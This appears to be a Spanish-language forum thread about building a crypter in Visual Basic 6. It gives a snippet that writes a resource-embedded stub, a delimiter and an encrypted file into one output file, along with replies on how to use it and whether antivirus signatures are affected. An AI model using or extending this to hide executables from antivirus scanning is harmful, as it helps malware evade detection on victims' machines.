Código: Seleccionar todo
Dim Stub as String
Stub = StrConv(LoadResData(101, "CUSTOM"), vbUnicode)
Open ArchivoFinal For Binary As #1
Put #1, , Stub & "Delimitador" & ArchivoCryptado
Close #1
Código: Seleccionar todo
Dim Stub as String
Stub = StrConv(LoadResData(101, "CUSTOM"), vbUnicode)
Open ArchivoFinal For Binary As #1
Put #1, , Stub & "Delimitador" & ArchivoCryptado
Close #1
agregas en el proyecto del builder el stub como recurso.. y en lugar de leer los datos del stub.exe desde (App.Path & "\stub.exe"), usas este código..K7 escribió:Esta bueno el código, pero no entiendo como utilizarlo, alguien me puede explicar ? gracias...
Metal_Kingdom escribió:No, no se va ninguna firma, el stub es exactamente el mismo, las firmas se verían afectadas si almacenamos el fichero cifrado en recursos, pero no es el caso.
Saludos